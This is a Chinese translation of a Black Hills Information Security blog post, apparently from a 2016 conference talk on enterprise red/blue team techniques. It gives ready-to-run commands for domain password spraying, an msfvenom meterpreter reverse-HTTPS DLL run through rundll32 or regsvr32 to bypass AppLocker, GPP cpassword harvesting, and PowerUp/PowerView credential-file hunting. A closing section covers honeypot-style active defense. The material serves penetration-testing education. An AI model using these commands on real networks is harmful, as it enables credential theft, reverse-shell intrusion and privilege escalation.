红蓝对抗融合:企业渗透测试中的攻防实战技术

本文详细探讨了企业环境中红队与蓝队的对抗技术,包括密码喷洒攻击、AppLocker绕过方法、权限提升工具使用以及主动防御策略,提供了具体命令示例和实战参考资源。

红 + 蓝 = 紫

David Fletcher & Sally Vandeven //
** advisory:** 本博文中引用的技术和工具可能已过时,不适用于当前环境。但本文仍可作为学习机会,并可能集成到现代工具和技术中。

我们于2016年10月6日在密歇根州大急流城的GrrCon黑客会议上进行了一场对话式演讲,旨在展示蓝队保护网络与红队攻击网络之间的友好交锋。讨论的主题包括BHIS在企业环境中发现的一些最普遍的访问获取、权限提升和控制方法。我们还探讨了蓝队如何为渗透测试做准备,让测试人员的工作更加困难。以下是演讲内容及相关支持材料,包括命令示例和参考。

密码喷洒

这是针对企业的密码猜测攻击。渗透测试人员使用命令行查询Active Directory或通过开源情报收集用户名列表,然后使用常见密码(如“Autumn2016”)尝试每个用户名登录。由于账户锁定策略,必须谨慎操作以避免锁定用户账户。在每个观察窗口内为每个用户猜测一个密码,以降低锁定风险。

如何从命令行发起域密码喷洒攻击:

首先检查密码策略,包括锁定设置:

1
C:\> net accounts /domain

示例策略显示,在此网络上,我们会选择简单的8字符密码(如Fall2016或Summer16),并每十分钟喷洒一个密码。“锁定观察窗口”定义了最后一次错误密码后坏密码计数器重置为零的时间。因此,在一次错误密码后,坏密码计数为一,但等待十分钟后计数重置,可以再次猜测。这大大降低了锁定账户的风险。但服务账户可能不受相同锁定规则约束,且坏密码计数在冗余DC之间不同步,如果每次登录认证到不同DC,可能存在冲突。因此,我们的经验法则是每个观察窗口猜测一次。

了解策略后,可以使用wmic或PowerShell创建用户列表。PowerShell命令更快,但并非总是可用:

1
C:\> wmic useraccount where (domain='%USERDOMAIN%') get Name > userlist.txt
1
PS C:\> ([adsisearcher]"objectCategory=User").Findall() | ForEach {$_.properties.samaccountname} | Sort | Out-File -Encoding ASCII userlist.txt

然后使用FOR循环测试每个凭据,挂载共享\\%LOGONSERVER%\IPC$

1
@FOR /F %n in (userlist.txt) DO @FOR /F %p in (pass1.txt) DO @net use %LOGONSERVER%\IPC$ /user:%USERDOMAIN%\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\DC1\IPC$ > NUL

脚本化:

使用Beau Bullock的PowerShell脚本Invoke-DomainPasswordSpray.ps1,自动完成所有操作。只需提供用户列表和密码(如“Autumn2016”)。如果提供密码列表,脚本会在每个观察窗口为每个账户猜测一个密码。甚至可以不提供用户列表,脚本会在运行时生成。

1
PS C:\> Invoke-DomainPasswordSpray -Domain %USERDOMAIN% -UserList userlist.txt -Password Autumn2016

参考:

  • DomainPasswordSpray.ps1脚本:https://github.com/dafthack/DomainPasswordSpray
  • OWA门户密码喷洒博文:http://www.blackhillsinfosec.com/?p=5089

AppLocker绕过

二次执行

当运行进程启动第二个进程时,该进程通过“二次执行”启动,不被AppLocker检测,规则不适用。这意味着即使未明确允许,也可运行可执行文件。有两种方法实现:使用RUNDLL32.EXE或REGSVR32.EXE。

使用Metasploit的msfvenom创建恶意DLL文件,建立到192.168.2.10:443的HTTPS连接:

1
# msfvenom –p windows/meterpreter/reverse_https –f dll LHOST=192.168.2.10 LPORT=443 > C:\temp\malicious.dll
1
C:\Windows\System32\rundll32.exe C:\temp\malicious.dll,Control_RunDLL

1
C:\> regsvr32.exe /s /u malicious.dll

另一种绕过方法是使用InstallUtil.EXE直接访问.NET函数,避开AppLocker检测。参考下方BHIS博文“PowerShell w/o PowerShell”。

第三方命令外壳

如果cmd.exe被阻止,可以尝试第三方外壳。我们测试过ReactOS的开源类Windows操作系统中的命令外壳,工作完美。如果AppLocker阻止执行,可将EXE转换为DLL并使用上述RunDLL32.exe方法。也可使用Didier Stevens帖子中的预转换cmd.dll。

参考:

  • 无PowerShell的PowerShell:http://www.blackhillsinfosec.com/?p=5257
  • 应用白名单绕过:http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html
  • 开源类Windows OS:https://www.reactos.org/ 或 https://en.wikipedia.org/wiki/ReactOS
  • EXE转DLL方法:https://blog.didierstevens.com/2010/02/04/cmd-dll/

权限提升

我们常用多种工具帮助在Windows域中提升权限。

GPP(组策略首选项)

微软2008年引入。GPP首选项文件中常包含加密的特权凭据,用于脚本化管理任务。但由于使用的静态对称AES加密密钥已公开,文件中的凭据可轻松解密。这是我们首先检查的低 hanging fruit。

在命令行中运行:

1
C:\> findstr /S cpassword %logonserver%\sysvol\*.xml

如果找到包含加密值的cpassword属性项,解密获取明文密码并尝试使用凭据。使用gpp-decrypt.rb解密,或使用PowerSploit的Get-GPPPassword模块或Metasploit的gpp模块一站式查找和解密。

参考:

PowerUp

查找可能允许权限提升的常见错误配置。此PowerShell脚本检查弱服务权限、未引用的服务路径、可劫持DLL等。在PowerShell中运行模块,或使用Empire内置模块远程调用。

1
2
PS C:\> import-module ./powerup.ps1
PS C:\> Invoke-Allchecks

然后使用PowerUp内置模块利用发现的漏洞。

使用PowerSploit的PowerView模块中的ShareFinder和FileFinder扫描域,查找可访问的有价值文件。默认情况下,FileFinder会标记名称中包含“pass”、“sensitive”、“secret”、“admin”、“login”或“unattend*.xml”的文件,但搜索条件可配置。

1
2
PS C:\> Invoke-ShareFinder -CheckShareAccess -Verbose -Threads 20 | Out-File -Encoding Ascii interesting-shares.txt
PS C:\> Invoke-FileFinder -ShareList .\interesting-shares.txt -Verbose -Threads 20 -OutFile juicy_files.csv

Bloodhound

自动化查找提升AD账户路径的工具。使用PowerShell查询Active Directory,创建图表显示攻击者可访问的账户/计算机,以从内存中转储凭据(如使用Mimikatz)。转储的凭据可能提供直至域管理员的权限提升。

限制客户端到客户端流量

仅少数组织实现此级别控制,有效限制了我们的 pivoting 能力。 unfortunately,关于如何实现此安全级别的参考不多,但可以假设细粒度NTFS权限和基于主机的防火墙规则是部分方案。

W^X

仅允许用户在不可执行位置写入,仅允许在不可写入位置执行应用程序。后者可通过AppLocker强制执行。默认AppLocker规则仅允许从Program Files目录和Windows目录执行,用户默认无写入权限。实施AppLocker时,值得审计这些位置的权限变更。

参考:

  • PowerUp:https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
  • PowerView:https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
  • Empire:https://github.com/adaptivethreat/Empire
  • Bloodhound:https://www.youtube.com/watch?v=MYxk73DsGQI 或 https://wald0.com/?p=68
  • Mimikatz:http://www.blackhillsinfosec.com/?p=4667
  • LAPS:https://technet.microsoft.com/en-us/mt227395.aspx

主动防御

指使攻击者工作更困难和困惑,不指“反击”(多数定义下非法)。注入一点混乱和不可预测性,能有效迷惑和减慢攻击者。多数人听说过蜜罐,但还有蜜文件、蜜账户、蜜令牌等。ADHD是BHIS整理的主动防御发行版,免费提供。

Web Bugs

网页中的隐藏元素,如从web bug服务器加载的1x1像素图像。服务器收集IP地址、User Agent和时间戳等识别信息。Web bug可嵌入到名称诱人的.DOC文件中(如ProjectedSalaries-2017.doc或Passwords.doc)。当攻击者上钩时,识别信息被记录。

Weblabyrinth

创建虚假网页迷宫,旨在混淆自动化网页扫描器。

Honeyports

使用TrustedSec的Artillery工具,在攻击者尝试连接网络上的假服务时捕获并黑洞处理。

Kippo

监控暴力SSH攻击,通过模拟真实SSH服务器连接迷惑攻击者。

ADHD中还有更多工具。

参考:

  • ADHD工具列表:https://github.com/adhdproject/adhdproject.github.io/blob/master/index.md
  • 关于ADHD:http://www.blackhillsinfosec.com/?page_id=4419
  • ADHD安装说明:http://www.blackhillsinfosec.com/?p=5234
  • Artillery:https://www.trustedsec.com/artillery/
  • Web Bugs:https://github.com/adhdproject/adhdproject.github.io/blob/master/Tools/WebBugServer.md
  • Weblabyrinth:https://github.com/adhdproject/adhdproject.github.io/blob/master/Tools/Weblabyrinth.md
  • Honeyports:https://github.com/adhdproject/adhdproject.github.io/blob/master/Tools/HoneyPorts.md
  • Kippo:https://github.com/adhdproject/adhdproject.github.io/blob/master/Tools/Kippo.md
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计